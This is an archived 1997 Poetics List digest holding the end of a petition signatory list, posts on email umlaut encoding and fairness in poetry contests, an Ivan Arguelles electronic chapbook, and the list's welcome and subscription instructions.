149) Susan Hagg, San Francisco,CA([redacted])
150) Dante Landucci, Bethesda, MD ([redacted])
151) Ann Dannenberg Rosen, Newton, MA
152) Elena Conti, Cambridge, MA
153) Brent Richter, Rowley Ma
154) Libby Jones, Rowley, MA
155) Kitkoon Chan, Pleasanton CA
156) Dennis Crayon, Boston, MA
157) Claude R Labbe, Boston, MA
158) Jeffrey M. Klapes, Lynnfield, MA
159) David E. Knudsen, Somerville, MA
160) Chris Ann Matteo, New York, NY
161) Scott G. Williams, Austin, Texas
162) Linda Wiencken Williams, Austin, Texas
163) Lucinda Martin, Florence, TX
164) Karen E. LeFevre, Austin, Texas
165) David E. Soileau, Austin, Texas ([redacted])
166) Kirk P. White, RN, MSN, Austin, TX
167) Lisa Rogers, Austin, TX ([redacted])
168) Shelley Brown, Denver, CO ([redacted])
169) Deborah Chandler, Loveland, CO ([redacted])
170) Linda Temple, Oklahoma City, OK ([redacted])
171) Tom Temple, Oklahoma City, OK ([redacted])
172) Gage Evans, Denver, CO ([redacted])
173) Kara M. Van Horn, Denver, CO ([redacted])
174) Carmelia Dyer, Boulder, CO ([redacted])
175) Douglas Goldman, Boulder, CO ([redacted])
176) Eugenie Georgas, Boulder, CO ([redacted])
177) Michael Birdsong, Boulder, CO ([redacted])
178) Todd Arbetter, Boulder, CO ([redacted])
179) Marika Holland,Boulder, CO ([redacted])
180) Adriene Hughes, Brighton, MA
181) Andrew Myerson, Brighton, MA
182) Lucila De Alejandro, San Diego, CA
183) Robin Taylor, San Diego CA
184) Shelly Diaz, NYC, NY
185) Beth Davidson, Incline Village, NV
186) Jon Paul Davidson, Incline Village, NV

187) Kate Glanz, Durham, NH
188) Filson Glanz, Durham, NH
189) Dehan Glanz, San Francisco, CA
190) Justine Reese, San Francisco, CA
191) Carl Bettag, San Francisco, CA
192) Eugenia Lean, Los Angeles, CA
193) Nicole Huang, Berkeley, CA
194) George Krompacky, Yale University, CT
195) Peter Carroll, Yale University, New Haven, CT
196) James Carter, New Haven, CT
197) Eagle Glassheim, Columbia University, New York City
198) David S. Frey, Columbia University, New York City
199) Ellen B. Umland, Bay Village, OH
200) Susanna D. Kopchains, Hawthorne, NJ
201) Mark Margaretten, Denver, CO
202) Jon L. Leland, Mill Valley, CA
203) Steve Blumenthal, San Francisco, CA
204) Paula Mantel, Honolulu, HI
205) Gaile Sickel, Honolulu, HI
206) Robert Wolfson, Fairfax, CA
207) Shams Wm. Kairys, Oakland, CA
208) Donald Halley, New Lebanon, NY
209) David Iman Adler, New Lebanon, NY
210) Robert Barris, Highland Park,
211) Janet Carpus, Kalamazoo, MI
212) Terry Macak, Kalamazoo, MI
213) Lynne Aspnes, Ann Arbor MI
214) Lorna Haywood, U of M Ann Arbor MI
215) Robert Debbaut, Salt Lake City, UT
216) Kaye Ramsey, Salt Lake City, UT
217) Timothy Jones, U of T San Antonio TX
218) Eugene Dowdy, UTSA, San Antonio, TX
219) Lawrence Stomberg, Truman State University, Kirksville, MO
220) Lisa Stomberg, Colorado School of Mines, CO
221) Paula Lynch, Laurel Springs, NJ
222) Cara Kendric, Philadelphia, PA
223) Deborah Conger Hughes, University of Washington, Seattle
224) Dean Heerwagen, Univ. of Washington, Seattle
225) Mark Clayton, College Station, TX
226) Mardelle Shepley, Bryan, TX
227) Mike Blair Bryan Tx ([redacted])
228) David Lucey Oakland, CA

229) Ted Rallis Davis CA. ([redacted])
230) Leigh Ann Giles, Davis CA ([redacted])
231) Kamala Crompton, Sebastopol CA ([redacted])
232) Patrick Kelly
233) Alan J. Hiller ([redacted])
234) Mitchell D. Klein ([redacted])
235) Nicholas Wulfekuhle
236) Andrew Downes
237) Kelly Bowers, Washington DC
238) Thomas Unger, Alexandria, VA
239) Dwight Gibbs, Alexandria, VA ([redacted])
240) Selena Maranjian, Alexandria, VA ([redacted])
241) Lynnette A. Simon, Cambridge, MA ([redacted])
242) Susan Martin, Acton, MA([redacted])
243) Kenneth Lord, West Hempstead, NY ([redacted])
244) Christopher Vickery, Holliswood, NY ([redacted])
245) Christopher Winters, Stamford,CT ([redacted])
246) Paul McIsaac, New York City ([redacted])
247) John Douglas, Charlotte, VT ([redacted])
248) Norio Kushi, Shelburne, VT ([redacted])
249) JoAnne Kushi, Shelburne, VT
250) Allan Balliett, Shepherdstown, WV ([redacted])
251) Michael Reilly, NYC, NY ([redacted])
252) Cindi Weiss, Hoboken, NJ ([redacted])
253) Sam Cohen, NY, NY
254) Kathryn Mintz, NY, NY ([redacted])
255) Brad Greenquist, LA, CA
256) Helga Schier, LA, CA ([redacted])
257) Kimberly Burns, LA,CA ([redacted])
258) Laurel Cook, NY,NY([redacted])
259) Todd Gitlin, NY, NY ([redacted])
260) Norris McNamara, Chicago, IL ([redacted])
261) Scott Diamond, Chicago, IL
262) Vincent J. Apicella, Milpitas, CA
263) Scott Black, Oak Park, IL
264) Linda Marquardt, Oak Park, IL
265) Daniel Marquardt, Oak Park, IL
266) Robert Ginsburg, Fayetteville, Ar
267) Susan Jenkins, Fayetteville, Ar
268) Dianne Schlies, Albuquerque, NM
269) Paul Schlies, Albuquerque, NM
270) Bob Dickey, Portland, OR

271) Elizabeth Dickey, Tucson, AZ
272) Timothy Mayhew, Farmington, NM
273) Marjorie Robertson, Arlington, VA
274) Deron Hurst, Arlington, VA
275) Erika Warner, Arlington, VA
276) Nancy Ward, Arlington, VA
277) Heather Podlich, Washington, DC
278) Lillian Rice, Washington, DC
279) Nicole Dannenberg, Washington, DC (originally from Sunnyvale, CA)
280) Suzanne Isack, Washington DC
281) Iracema de Moura Castro, Washington, DC
282) Tom Sander, Cambridge, MA
283) Peri Smilow, Cambridge, MA
284) Marc Johnson, Cambridge, MA and NY, NY
285) Patty Lyons, Chicago, IL
286) Tom Mula, Chicago, IL
287) James Sie, Chicago, IL
288) Douglas Wood, Chicago, IL
289) Sue Sie, Rhinebeck, NY
290) Nancee Meeker, Rhinecliff, NY
291) Pat Garrett, Albuquerque, NM http://www.nancee-meeker.com
292) Carrie Seid, Chicago, IL
293) Thomas Stender, Chicago, IL
294) Richard Seid
295) Betty Seid
296) Ina Pinckney, Chicago IL
297) Jane Davis, Evanston IL
298) Judith Blank, Chicago IL
299) Jay Wolke, Illinois Institute of Technology, Chicago, IL
300) Todd Childers Bowling Green State University, Bowling Green Ohio
301) Jennifer Karches Bowling Green State University, Bowling Green, Ohio
302) brian JULIUS kwolek, Bowling Green State University, Bowling Green, Ohio
303) Michael Wendling, Bowling Green State University, Bowling Green, Ohio
304) David Waxler, Bowling Green State University, Bowling Green, Ohio
305) Drew Bell, St. Louis, MO
306) Josh Gray, St. Louis, MO
307) Sheila Merrell, St. Louis, MO
308) Daphne Selbert, Principia College, Elsah, IL
309) Randi Browning, Principia College, Elsah, IL

310) Brynne Gray, Principia College, Elsah, IL
311) Helen K. Davie, Atascadero, CA
312) Christopher Herold, Redwood City, CA
313) Linda Lee EVans, Palo Alto, CA
314) Patrick G. Bailey, Mt. View, CA
315) Bruce Stephen Holms, Santa Barbara, CA
316) Debra L. Lindemann, Santa Barbara, CA
317) Michael P. Lindemann, Santa Barbara, CA
318) Daniel Drasin, Oakland, CA
319) Jacqui Dunne, Sausalito, CA
320) BC Crandall, Mill Valley, CA
321) Len Lipner, Worcester, MA <[redacted]>
322) Victoria Broniscer, Sao Paulo, Brazil (US citizen)
323) Deborah F. Lynn, Yale University, New Haven, CT
324) Robin Cole Sunbeam, Vallejo, CA
325) Susan Sisselman, Lake Worth, FL
326) Sara-Jane Hardman, Croton-on-Hudson, NY [redacted]
327) Ronald Bleier, New York, NY
328) Charles Amirkhanian, El Cerrito, CA
329) Ron Silliman, Paoli, PA

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

↑ Index

27. Gwyn McVay

Re: Re: Piña colada, ümlaüts, and so on ...

Mon 2 Jun 1997

John, thanks for the update on special characters. In the rather stunted US character set, however, at least on my Unix server, they don't come through; what I get for "pina colada" is "piqa colada," which actually sounds like, I dunno, a drink that is especially piquant? or just sticks you in the face with the little toothpick umbrella?

Gwyn, now wondering what organization to start
that could reasonably be called the "Capital Umlauts"

↑ Index

28. John Tranter
No more umlauts ...
Mon 2 Jun 1997

Well, my attempt to reinvent the Umlaut wheel failed, and Iguess I invented the flat tire instead.

Dean Taciuch kindly bounced back my e-mail message, which he'd filtered through Eudora on a Mac, from an account on a UNIX server. All the fancy umlaut formatting failed to get through, except for a | vertical space or two | and an & ampersand, which anyone can type straight from the keyboard!!

One day, when the Mac shall lie down with the Clone ...

Sorry for the misplaced typographical frisson. » John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted] FAX ([redacted]

↑ Index

29. David R. Israel
Yep, Piña colada, you betcha ümlaüts
Mon 2 Jun 1997

Hey --
> Well, my attempt to reinvent the Umlaut wheel failed, and Iguess I
> invented the flat tire instead.

Not true -- for some it was a flat tire, but to other recipients, it proved a perfectly functional & useful wagonwheel. I'll send you back (backchannel) proof. I received all the special characters here (on my Hwelet-Packard PC, running Windows95, and using PegasusMail as a mailer program).

> *Sorry for the misplaced typographical frisson.*

where did I put that typo frission? i've been lookin' for it all over . . . .

d.i.

↑ Index

30. Mark Prejsnar
Re: procedures in literary space
Mon 2 Jun 1997

Tom...

I think your "rant" was fabulous...It very much crystalized a lot of the most important matters of principle, that emerge from the "cronyism" thread...As I've already posted at some length, the problem (and origin of this long tangle skein, as it's developed up to now) is materialist and monetary...At root, people are upset because of disparities in access to resources. (As Robert Christgau once wrote, reacting to the Police single, "Spirits in a Material World": ...We're also matter in a material world, which is where things start to get sticky..).

But the best response to all this, is to utilize whatever openings and resources we can, to increase the fecunditiy of the area of poetic work we've chosen..Well ranted.

Mark

↑ Index

31. Tom Mandel
simplicity...
Mon 2 Jun 1997

What Joe Amato seems to want to say in response to my "ras le bol" post on so-called procedures and that doublejointed pat on one's own back called fairness is that if you say you are going to do something, then that's what you should do.

I agree.

This of course has nothing to do with poetry. In the specific sense that a poem better be doing more than it says, and in the further sense that "all's fair in love and war" poetry being both or take your pick.

Listen up. In poetry, there is *no* authority that sits above the poet. None.

TM

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

32. David R. Israel
Re: simplicity...
Mon 2 Jun 1997

Tom saith --

> *Listen up. In poetry, there is *no* authority that sits above the poet. None.*

yes -- (except now & again the willow or the moon) --

& here's accord w/ Mark P.'s apprech of your rant mas fin -- particularly valuable for me was the rumination on the imperative(s) that are driving the engine or babbling the brook (take your pick), being a sense of what can / might be said -- the unuttered that seems "possible" and becks . . .

it's of some use (sometimes) to recollect how paltry -- on the level of poetry qua poetry -- or if not paltry, at least how fragile & in various wises ludicrous is the dwarf-world of repute & position v. the titan world of the mind behind the scrawl . . . -- the desire for "publication" is perhaps primarily metaphorical at root . . .

d.i.

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33. Dean Taciuch

Re: No more umlauts ...

Mon 2 Jun 1997

>Well, my attempt to reinvent the Umlaut wheel failed, and I guess I
>invented the flat tire instead.
>
>Dean Taciuch kindly bounced back my e-mail message, which he'd
>filtered through Eudora on a Mac, from an account on a UNIX server.
>All the fancy umlaut formatting failed to get through, except for a |
>vertical space or two | and an & ampersand, which anyone can type
>straight from the keyboard!!
>
Oddly, though, the umlaut and tilde came through in the Subject line in Eudora, though the special characters weren't displayed in the body (there must be another context for that line . . .). I notice, digging around in Eudora's settings, that the screen font can be changed--that's probably what controls special characters.

Dean

↑ Index

34. David Bromige
Umlauts came thru loud und clear
Mon 2 Jun 1997

John Tranter, my software had no trouble decoding your message, which I downloaded to practice it on my Mac Classic II (MSW 6.1).But my keyboard has no ALT. Is there an ALT somewhere in the software? I _do_ have that auxillary keyboard of mostly numbers to the right of the part of the keyboard I use. I tried using my OPTION button but no go. db

↑ Index

35. amato
Re: simplicity...
Mon 2 Jun 1997

---

tom, yup... as to the 'authority sits above' me, or you, or whomever---why yeah, i think that resides within... but what's within being so many ways what's without too, gives me pause... as in, *me*!...

it's not that i'm not sure of mself, exactly... but i think contributions of any sort are worth some anxiety over one's sense of entitlement... i don't, no i don't, always feel so... entitled... which in fact feeds directly at times into my writing, into whatever...

best,

joe

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36. robert drake
Re: how to produce books / Ivan Arguelles
Mon 2 Jun 1997

---

apropos of the recent interest in ivan arguelles' work,
here's a recent electronic chap of his work, published by
jake berry ([redacted]) as part of his EXPERIODDICIST
project...

lbd

LA MUERTE DE ENRIQUE ARGUELLES [a sketch]

an electronic chapbook

Ivan Arguelles

As dark as mahogony
sudden lack of memory
who that was in front of the easel
squeezing colors of day on the canvas
to freeze-frame an idealized siesta afternoon
almost breathless beneath the unrelentling semaphore
how many eons ago
how many discarded masks
the turbulence of life
a directionless random
through landscape of painted cactus
dead automobiles rusting blood red
metal scales beside the arid strip
or in the arroyo
the hundred drunks of teotihuacan
banging on broken guitars
skeletal features
unmarried despotic emotions
marring the afternoon's idyll
fist on glass
trumpet of ire shattering the historical water
above the famished necropolis
where the young painter was learning to die
flies in clouds of somber ennui
covering the ventana of life
y todo lo pasado
como un alacran de fuego
what was it for?
the alembics the short-wave radio
the pistolas con mi general
that elegant black dog
mustache wax hair pomade
ivory cigarette holder pulque
raw mornings in absentia
those fucking luteranos
y siempre las pesadillas
con las calaveras y me cago
into afternoon of periodicity
reading katzenjammer kids
in the month old "excelsior"
a dozen years later in minnesota
when the black mantle

who were those 2 guys
bud & eddy?
manchas de petroleo
sobre el cristal
donde el aire es mas transparente
y clavado en el pecho
el pu~no "soy comunista!"
staring deep into the bottomless beer
when the hour of bitter lemon
turns to alkali
somewhere outside of borrego
springs
where the "vaya al infierno"
is set into motion
not like this in what seems to be
a duluth motel
december 5
siglo de xerox
en el mes de nieve eterna
not the joven abrasado de amores
AY!
en su ilusion de memoria
quantity of life
purchased at sears & roebuck
or montogomery wards
in a basement sale of massive firestone tire
ready to burn mountains
like the great work
in isolation

CARTA ABIERTA AL SE~NOR PRESIDENTE
please I have the nothing more
than these my pinturas pero no soy un flaco
and it is with these my pinturas
I request you for an advertisement to fame
and though I have had cocktails at sanborns
and visited poets in lomas
yes I am an humilde, Se~nor Presidente
and I admit todo es mi culpa
I am at fault for the universe
all of it with its motor breakdowns
and I can fix but for your piano

and perform the beethoven with lucidity
that comes of massive binge in snow
I am not but I knew Trotzky
and was artist without portfolio
for six or seven decades
my signature incarnadine is perfect
aztec for chloroform or silver death
the masks I wore the god of death
or Chac-Mool ever athirst
for whom I invented alcohol
and by your leave I drank it all
even as I strode panamerican highway
in my euroaztec monkey gear
suave as any gable clark in sleep
hijo de la chingada madre!
que marinero feo! puto!
these sisters of the grey
whose fog is my future in form
but mi general lazaro cardenas
why have you beached me?
why am I thus displaced in winter?
arrested for drunk driving in 1951 (?)
I'm in the jailhouse now
  I'm in the hoosegow now
in my waking dream in santa monica
still elegant I strut the boardwalk
as seagulls circle over me to aim
I am abject as never before
my piano hurts my small electric organ
outside la nieve eterna de mi vida
what did I ever do to the mayo clinic?
Se~nor presidente mi general lazaro cardenas
I am on my knees in a linoleum cell
golpeando mi pecho que tengo la culpa
I am guilty for all the universe
if it is not perfect nor in lomas chapultepec
I am the soul of the darker memory
nor does mi cu~nada Lupe mourn the more
nor my sister Lucia saint of hell
boyle heights en la ciudad de los angeles
where I have suffered her bordello
the agony of all the indios cristos

en su polvo y sangre de miseria
and what if I failed?
what if my pinturas all were nothing?
what if I never was diego rivera?
am I less comunista or hombre?
what if I really failed
and there is nothing to remind me
of my past in the future of oxided coins
and of my children what is their part
what is their share in my failure?
futility of the garden I attempted for them
of the false nostalgia of sunday music
and the limpid wine & fried fish
and the great cliffs beyond the siesta
pastoral symphony color of grass
in the incredible distance of tenochtitlan
the capital of my dolorous heart
did I begin in spain on a rock?
was I raised by jesuits to hate?
did I deny la santa iglesia catolica
only to be forced into luterano hell?
nordic chofer lackey dishwasher cook
MIS PINTURAS NO VALEN NADA!
"to you my heart cries out pefidia"

indeterminate section of sky
the color of zinc or tin
or like maps zig-zag jagged
torn out of an infancy
spent near the border
where the basques
shoot at leon & castille
and the histories and chronicles of the many spains
erupt like a volcano in the cathedral's white nerve
every cell pitted against the other
sweating the guardia civil
of adolescence
escape to the tropic
or a warner brothers version
saltimbanque in guadalajara
watching from the rooftops
as the pistoleros of the revolucion

make their mark in the dust
rosaries of flame
with no sense of justice
sombrero in hand
for whom, se~nores?
to increase the universe
with this vain existence
mis pinturas
que nunca dejaron de ser
nada mas que pura representacion
camera-eye y nada mas!
still-form with flowers
grey vase yellow
color de mi amor
la gringa que vino
a cambiar mi vida
have I ever been happy?
ambicion y consternacion
sentimiento tragico de la vida
dolores del rio
trotzky desnudo en todos mis sue~nos
but that later I should become
merely a wetback
dirty mex
rosa de los cielos
in my teeth
lone ranger/zane grey
y esa abuela toda gris la luterana
mi suegra errores de potsdam
GITANO
that restless life with lawnmower in minnesota
that meaningless life
how the shape of snow affects me!
minarets of blue ice
tan lejos de los tropicos
what is the memory I have of xochimilco?
trato de recordar los nombres de las calles
nothing resurfaces from that watery city
my hands eran manos tan finas
my paintings my failed music
only the midnight piano
"to you my heart cries out pefidia"

logic and casuistry of the jesuits!
Pfah!

ivan arguelles
5-12/13-97

↑ Index

37. David Bromige
simplicity, a poem
Mon 2 Jun 1997

sure of himself

_____

in that respect, not to be trusted

↑ Index

38. David Israel
an umlaut w/ a diff
Mon 2 Jun 1997

Yeah, & look how these things translate at my other (office) computer (w/ LAN using GroupWise e-softwarre):
<<
=?ISO-8859-1?Q?Re:_Piña_colada,_ümlaüts,_and_so_on_..._? >>

that's the Pina Colada & Umlaut subject line . . .

d.i.

>>> Gwyn McVay <[redacted]> 06/02/97 07:47am
>>>
John, thanks for the update on special characters. In the rather stunted US character set, however, at least on my Unix server, they don't come through . . .

↑ Index

39. David Israel
Re: simplicity... / entitlement
Mon 2 Jun 1997

the right reverend Amato writes:

<< . . . contributions of any sort are worth some anxiety over one's sense of entitlement... i don't, no i don't, always feel so... entitled... which in fact feeds directly at times into my writing, into whatever... >>

how about Earl? Duke? Count? Sir Joe (at least)?

d.i.

↑ Index

40. Steven Marks
Re: Umlauts came thru loud und clear
Mon 2 Jun 1997

For us Mac users with no ALT: use the option key and the regular keyboard. OPTION key plus the letter "u" will make an umlaut over the next letter you type. To see what combinations make what marks, go to the Apple menu (far left), pull it down and click on Key Caps. That will display a map of the keyboard upon which you can try the different combinations and see what they produce.

BTW, the umlauts did not come out in my e-mail, but I think that is because of the ancient mail program my provider uses. Pine 1.3 or something like that.

Steven

On Mon, 2 Jun 1997, David Bromige wrote:

> *John Tranter, my software had no trouble decoding your message, which I downloaded to practice it on my Mac Classic II (MSW 6.1).But my keyboard has no ALT. Is there an ALT somewhere in the software? I _do_ have that auxillary keyboard of mostly numbers to the right of the part of the keyboard I use. I tried using my OPTION button but no go. db*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

41. Poetics List
"Welcome" Message
Mon 2 Jun 1997

Rev. 6-1-97

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and in cooperation with Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with this epigraph:

There are presently about 500 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list

participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein: contact him for further

information. Joel Kuszai is list manager. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system

administrator. If this happens you will not be able to send messages to

Poetics

mail. To avoid this, unsub from the old address and resub from the new

address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot always decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away

for any extended period of time! Your account may become flooded and you may

lose not only Poetics messages but other important mail. You can temporarily

turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to

e-mail message

blank. In the body of your e-mail message type:

  review poetics

You will be sent within a reasonable amount of time (by return e-mail) a

rather long list containing the names and e-mail addresses of Poetics

subscribers. This list is alphabetized by server not name.

 or try:

 review POETICS by name

 review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to

serve as a hypertextual gateway to the extraordinary range of activity in

formally innovative writing in the United States and the world. The Center

provides access to the burgeoning number of electronic resources in the new

poetries including RIF/T and other electronic poetry journals, the POETICS

List archives, an AUTHOR library of electronic poetic texts, and direct

connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as

well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the

links to Poetics Archives. You may browse the archives by month and

year or search them for specific information. Your interface will

allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications

as easy as possible to our users and ENCOURAGE you to participate! Send a

list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts. Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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42. Daniel Tessitore
Re: debt
Mon 2 Jun 1997

Jorie Graham, I believe, wrote one blurb and James Tate the other. Tate said something rather innocuous about humor, and Graham--if memory serves--referred to Levine as "a god." I found that inflated as well, even for a poet's fan to write. I think David Kellogg summed up the feeling a lot of people had about that particular book--initial interest disintegrating (rather too soon) into boredom.

I try to keep in mind though that he was not yet 30 when that book was accepted--so he's kicking my ass--

DT

From: David Kellogg[SMTP:[redacted]]
Sent: Monday, June 02, 1997 6:45 AM
To: [redacted]
Subject: Re: debt

Franklin Bruno wrote:

> *DK, Could you elaborate on what you disliked about DEBT? I'm not saying I disagree mind you--I saw a couple poems in magazines that intrigued me enough to pick up the book, which disappointed me. I'm being vague here because I'd like to see if your complaints are the same as mine.*

I thought the opening several poems were quite interesting, with certain attractive kinds of paranoia, subject-shifting voices speaking the poems, and attention to a variety of issues surrounding the title. But then it just got to be the same poem over and over. So in the end, I was bored; it seemed to play the same tricks (which were in the end shock tactics) too many times. I guess I was disappointed also b/c I read it in the context of the hype. I have frankly never read a set of more puffed-up blurbs for a first book than I did for that. (Can't get to the blurbs right now, as I unloaded _Debt_ to reduce my own at a used bookstore).

Cheers,
David

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43. henry
Re: simplicity...
Mon 2 Jun 1997

On Mon, 2 Jun 1997 08:53:22 -0400 Tom Mandel said:
>
>Listen up. In poetry, there is *no* authority that sits above the poet. None.

Same goes for scientists and science, I suppose, and politicians and politics. But I wouldn't refer to poets for information on the "double-jointed pat on the back called fairness". Politicians are probably more expert in that sub-field. For fairness PER SE however, most ordinary non-professing people have some concept of what it is. Does po-biz fall under the authority of fairness per se? Yes - cause anybody can see its workings & non-workings. It's not a specialization. - Henry Gould

↑ Index

44. amato
Re: simplicity...
Mon 2 Jun 1997

er, david, david, which, one, any?, i'm best as plain ole joe!... gave me hell as a kid, my father actually was made to change his to 'joseph,' made to right write-handed... er... but like, i'm actually a jr., which i dropped for similar reasons so i could be best as etc...

and henry and others, yeah, contra moi, it's mebbe? that a related complication is captured in these song lyrix, from judybats *pain makes you beautiful* disc, the tune "being simple":

Hearts cannot be broken, they're small squishy things . They don't break like glass but they bruise easily . This one you bruise . Words will not be spoken never knowing what they mean . Sticks and stones hurt my bones, your promises have broken me . Each one you break . And I want to be good but good is being simple . Simple is forgetting . I simply can't forget . I want to be good but good is being simple . Simple is forgetting . and I simply can't forget .

and the refrain

And I want to be good but good is being simple . Simple is forgetting . I simply can't forget . I want to be great but greatness is giving . Giving leaves me empty . Oh great emptiness

etc...

best,

joe

↑ Index

45. Hank Lazer
Re: Ivan Arguelles
Mon 2 Jun 1997

A little more info on Ivan A:

He publishes Pantograph Press (P.O. Box 9643, Berkeley, CA 94709). Under that imprint, he's done some excellent books by Will Alexander, Jack Foley (_Exiles_) and Jake Berry (most recently, _Species of Abandoned Light_; shortly, Volume 2 of _Brambu Drezi_). Ivan's own work also appears from Pantograph. Most recently _Enigma & Variations: Paradise is Persian for Park_, the latest installment in Ivan A's ongoing work, _Pantograph_.

Pantograph Press will soon publish a collaborative work by Ivan A and Jack Foley.

I found _Enigma and Variations_ to be quite interesting in scope, variety, complexity, and range of reference.

Hank Lazer

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46. Carol A Kelly
Re: simplicity...
Mon 2 Jun 1997

>>Tom: Listen up. In poetry, there is *no* authority that sits above the poet. None.

>Henry: Same goes for scientists and science, I suppose, and politicians and politics.

I wonder if it would be useful to this discussion to think about two different kinds of "hierarchies" of which the self is a part: (1) there is the poet as judge / person as utility who agrees to a contract and (2) the poet as person who simply thinks and lives like every other person scientist, politician, etc.

(1) The poet who agrees to judge a poetry contest and does not follow the rules of that contract has "legally" wronged the people she is in contract with. I think no one disagrees with that. The question is whether or not this violation is ethically or morally sound.

Clearly, when it was believed that Graham violated the AWP contest rules, the upset on this list was rooted in the belief that what she did was unethical. We were not discussing Graham as a judge of a contest (role type (1)) but as a person who thinks and lives (role type (2)). My interpretation of Tom's "rant" is that he has no interest in deciding whether or not she would have been ethically all right in doing what we believed she did, and further, that he is troubled over the fact that there is so much interest in said judgment.

"Fairness" in poetry is only interesting, then, if you believe that you see fit to make moral or ethical judgments about another's actions. Otherwise, we would might say that a certain move is legal, or within the bounds of a rule set, and there would be much less ambiguity over whether or not a judge or publisher did something "wrong."

But laws and ethics, although oftentimes confused, are in totally different classes. (Along this line, a coworker once asked me what religion I followed; when I replied that I am an atheist he said "but you look like such a nice girl--I would have never guessed you were amoral!")

Carol

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47. Mark Wallace
Osip Mandelshtam translations in Penguin
Mon 2 Jun 1997

